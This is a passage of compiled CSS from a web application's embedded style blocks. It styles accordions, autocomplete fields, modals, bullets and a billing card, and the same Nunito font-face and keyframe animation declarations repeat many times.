border-bottom-right-radius: 10px; }
@media (max-width: 727px) {
.accordion {
border: none; }
.accordion .panel {
border-bottom: 1px solid #cbd4dc; }
.accordion .panel .container__title {
padding: 16px 18px;
font-size: 14px;
line-height: 18px;
color: #122e43;
font-family: Nunito-Regular;
display: flex; }
.accordion .panel .container__title .title-label {
display: flex;
margin-bottom: 0px;
margin-top: 0px; }
.accordion .panel .container__title .title-icon {
display: flex;
margin-bottom: 0px;
margin-top: 0px; }
.accordion .panel .container__content {
background-color: #f4f6f8;
max-height: 0;
overflow: hidden; }
.accordion .panel .container__content .content-p {
margin-bottom: 0px;
margin-top: 0px;
padding: 16px 16px;
font-size: 14px;
line-height: 18px;
color: #122e43;
font-family: Nunito-Regular; }
.accordion .panel .container__content--active {
background-color: #f4f6f8;
max-height: 1000px;
height: auto;
border-top: 1px solid #cbd4dc; }
.accordion .panel .container__content--active .content-p {
margin-bottom: 0px;
margin-top: 0px;
padding: 16px 16px;
font-size: 14px;
line-height: 18px;
color: #122e43;
font-family: Nunito-Regular; }
.accordion .panel:last-child {
border-bottom: 1px solid #cbd4dc; }
.accordion .panel:last-child .container__content--active {
border-bottom-left-radius: 0px;
border-bottom-right-radius: 0px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.autocomplete .input-field .autocomplete--close-icon {
position: absolute;
width: 24px;
height: 24px;
top: 12px;
right: 12px;
cursor: pointer; }
.autocomplete .input-field.digital-emission {
position: relative;
display: flex;
align-items: center; }
.autocomplete .input-field.digital-emission .input {
border: 1px solid #cbd4dc;
padding: 0 16px;
width: 100%;
height: 48px;
border-radius: 6px;
color: #416179;
font-size: 16px;
line-height: 22px;
font-family: NunitoSans-Regular;
outline: 0;
-webkit-transition-duration: 0.3s;
-moz-transition-duration: 0.3s;
-ms-transition-duration: 0.3s;
-o-transition-duration: 0.3s;
transition-duration: 0.3s; }
.autocomplete .input-field.digital-emission .input:focus {
border: 1px solid #2d9cdb; }
.autocomplete .input-field.digital-emission .input:disabled {
cursor: no-drop;
border: 1px solid #cbd4dc;
opacity: .5; }
.autocomplete .input-field.digital-emission label {
color: #416179;
font-size: 16px;
line-height: 22px;
font-family: NunitoSans-Bold;
position: absolute;
left: 16px;
cursor: text;
padding: 0 8px;
-webkit-transition-property: transform, color 0.2s ease-out;
-moz-transition-property: transform, color 0.2s ease-out;
-ms-transition-property: transform, color 0.2s ease-out;
-o-transition-property: transform, color 0.2s ease-out;
transition-property: transform, color 0.2s ease-out;
-webkit-transform-origin: 0% 100%;
-moz-transform-origin: 0% 100%;
-ms-transform-origin: 0% 100%;
transform-origin: 0% 100%; }
.autocomplete .input-field.digital-emission label.active {
-webkit-transform: translateY(-24px) scale(1);
-moz-transform: translateY(-24px) scale(1);
-ms-transform: translateY(-24px) scale(1);
-o-transform: translateY(-24px) scale(1);
transform: translateY(-24px) scale(1);
-webkit-transform-origin: 0 0;
-moz-transform-origin: 0 0;
-ms-transform-origin: 0 0;
transform-origin: 0 0;
background-color: #ffffff;
font-family: Nunito-Regular;
color: #2d9cdb; }
.autocomplete .input-field.digital-emission label.disabled {
cursor: no-drop;
color: #a0acb6;
opacity: .5; }
.autocomplete .autocomplete--list {
padding: 10px 5px; }
@media (max-width: 727px) {
.autocomplete .autocomplete--list {
text-align: start; } }
.autocomplete .autocomplete--list .autocomplete--list-item {
font-family: NunitoSans-SemiBold;
color: #122e43;
font-size: 16px;
line-height: 20px;
padding-top: 10px;
cursor: pointer; }
.autocomplete .autocomplete--list .autocomplete--list-item:hover {
color: #18a0fb; }
.autocomplete .modal-content {
padding: 60px 15px 10px 15px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.modal-generic {
position: fixed;
top: 0;
left: 0;
background-color: rgba(0, 0, 0, 0.8);
width: 100%;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
z-index: 9999;
opacity: 0;
visibility: hidden;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in; }
.modal-generic.modal--open {
height: 100%;
opacity: 1;
visibility: visible;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.modal-generic.modal--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.modal-generic .modal--content {
height: 650px;
border-radius: 10px;
-webkit-transform: translateY(100%);
-moz-transform: translateY(100%);
-ms-transform: translateY(100%);
-o-transform: translateY(100%);
transform: translateY(100%); }
.modal-generic .modal--content.modal--open {
-webkit-transition: 0.5s;
-moz-transition: 0.5s;
-ms-transition: 0.5s;
-o-transition: 0.5s;
transition: 0.5s;
-webkit-transform: translateY(0);
-moz-transform: translateY(0);
-ms-transform: translateY(0);
-o-transform: translateY(0);
transform: translateY(0); }
.modal-generic .modal--content .modal--close-icon {
position: absolute;
width: 24px;
height: 24px;
top: 12px;
right: 12px;
cursor: pointer; }
.modal-generic .modal---background-white {
background-color: white; }
.modal-generic .modal---background-sky {
background-color: #f0f4f9; }
@media (max-width: 727px) {
.modal-generic {
left: 0;
top: 0; }
.modal-generic .modal--content {
width: auto;
height: 100%;
max-height: 100%;
top: 0;
left: 0;
justify-content: center;
text-align: center;
border-radius: 0; }
.modal-generic .modal--content.modal--open {
height: 100%; }
.modal-generic .modal--content .modal--close-icon {
top: 20px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.main-bullet {
display: flex;
max-width: 320px; }
.main-bullet .bullet-name {
font-size: 13px;
color: #416179;
margin-left: 4px;
line-height: 16px;
font-family: 'NunitoSans-Regular';
font-weight: 400; }
.main-bullet .bullet-name.type-reject {
color: #ff4858;
font-weight: 700; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.billing-card {
width: 100%;
height: 414px;
border-radius: 5px;
border: 0.5px solid #D7E1EA;
background: #ffffff;
box-sizing: border-box;
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
display: flex;
flex-direction: column; }
@media (max-width: 720px) {
.billing-card {
box-shadow: 0px 0px 1px rgba(40, 41, 61, 0.04), 0px 2px 4px rgba(96, 97, 112, 0.16);
border-radius: 10px;
height: fit-content; } }
.billing-card .upper-section {
display: flex;
flex-direction: column;
flex-wrap: wrap;
gap: 10px;
margin: 20px 32px 0px 32px; }
@media (max-width: 720px) {
.billing-card .upper-section {
height: auto;
gap: 20px;
margin: 19px 24px 0px 24px; } }
@media (max-width: 720px) {
.billing-card .upper-section .title-container {
display: flex;
justify-content: space-between;
align-items: flex-start; } }
.billing-card .upper-section .title-container .title {
font-family: Nunito-Bold;
font-size: 20px;
color: #122e43;
line-height: 27px; }
.billing-card .upper-section .title-container .due-date {
font-family: NunitoSans-Regular;
font-size: 14px;
color: #416179;
line-height: 19px; }
.billing-card .upper-section .title-container .button-container {
display: none; }
@media (max-width: 720px) {
.billing-card .upper-section .title-container .button-container {
display: block;
cursor: pointer; } }
.billing-card .upper-section .title-container .button-container .button {
background: #EEF4FC;
border-radius: 50%;
width: 30px;
height: 30px;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.4s;
-moz-transition-duration: 0.4s;
-ms-transition-duration: 0.4s;
-o-transition-duration: 0.4s;
transition-duration: 0.4s;
-webkit-transition-timing-function: ease;
-moz-transition-timing-function: ease;
-ms-transition-timing-function: ease;
-o-transition-timing-function: ease;
transition-timing-function: ease; }
.billing-card .upper-section .title-container .button-container .button.open-button {
-webkit-transform: rotateZ(180deg);
-moz-transform: rotateZ(180deg);
-ms-transform: rotateZ(180deg);
-o-transform: rotateZ(180deg);
transform: rotateZ(180deg); }
.billing-card .upper-section .alert-container .notification--banner {
padding: 8px 11px 8px 0px; }
.billing-card .upper-section .alert-container .notification .img-container {
margin-right: 14px;
margin-left: 14px; }
.billing-card .upper-section .alert-container .text-container {
font-family: NunitoSans-Regular;
font-size: 12px;
color: #122e43;
line-height: 16px; }
.billing-card .middle-section {
display: flex;
flex-direction: column;
justify-content: center;
margin: 0px 32px;
height: 100%; }
@media (max-width: 720px) {
.billing-card .middle-section {
margin: 24px; } }
.billing-card .middle-section .container {
display: flex;
flex-direction: column;
flex-wrap: wrap; }
.billing-card .middle-section .container .min-payment-container .min-payment-text {
font-family: NunitoSans-SemiBold;
font-size: 12px;
color: #8a9ead;
line-height: 12px; }
.billing-card .middle-section .container .min-payment-container .min-payment-amount {
font-family: Nunito-Bold;
font-size: 24px;
color: #122e43;
line-height: 33px; }
.billing-card .middle-section .container .billed-amount-container {
display: flex;
flex-direction: column;
align-items: flex-start;
margin-bottom: 10px; }
.billing-card .middle-section .container .billed-amount-container .billed-amount-text {
font-family: NunitoSans-SemiBold;
font-size: 14px;
color: #8a9ead;
line-height: 17px; }
.billing-card .middle-section .container .billed-amount-container .billed-amount {
font-family: Nunito-Bold;
font-size: 30px;
color: #122e43;
line-height: 41px; }
.billing-card .middle-section .container .buttons-container {
display: flex;
flex-direction: column; }
.billing-card .middle-section .container .buttons-container .button.button--small {
width: 100%;
height: 40px; }
.billing-card .middle-section .container .open {
max-height: 414px;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-animation: fadeIn ease 0.25s;
-moz-animation: fadeIn ease 0.25s;
-o-animation: fadeIn ease 0.25s;
animation: fadeIn ease 0.25s; }
.billing-card .middle-section .container .closed {
max-height: 0px;
overflow: hidden;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-animation: fadeOut ease 0.25s;
-moz-animation: fadeOut ease 0.25s;
-o-animation: fadeOut ease 0.25s;
animation: fadeOut ease 0.25s; }
.billing-card .middle-section .no-data-container {
margin-left: 10px;
margin-right: 10px; }
.billing-card .lower-section {
min-height: 42px;
display: flex;
justify-content: center;
align-items: center;
border-top: 0.5px solid #DDE7F0; }
.billing-card .section-divider {
border-bottom: 0.5px solid #DDE7F0; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.billing-card .upper-section-skeleton {
padding: 30px 40px 20px 30px;
opacity: .2; }
.billing-card .upper-section-skeleton .skeleton-line-container {
margin-top: 6px; }
.billing-card .upper-section-skeleton .skeleton-block-container {
margin-top: 25px; }
.billing-card .middle-section-skeleton {
display: flex;
flex-direction: column;
height: 100%;
padding: 30px 40px 0px 30px;
opacity: .2; }
@media (max-width: 720px) {
.billing-card .middle-section-skeleton {
padding: 0px 40px 20px 30px; } }
.billing-card .middle-section-skeleton .skeleton-line-container {
margin-bottom: 5px; }
.billing-card .middle-section-skeleton .skeleton-block-container {
margin-bottom: 10px; }
.billing-card .middle-section-skeleton .skeleton-block-container-2 {
margin-bottom: 5px; }
.billing-card .lower-section-skeleton {
opacity: .2;
min-height: 42px;
padding: 0px 40px 0px 30px;
border-top: 0.5px solid #DDE7F0; }
.billing-card .lower-section-skeleton .skeleton-line-container {
margin-top: 14px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
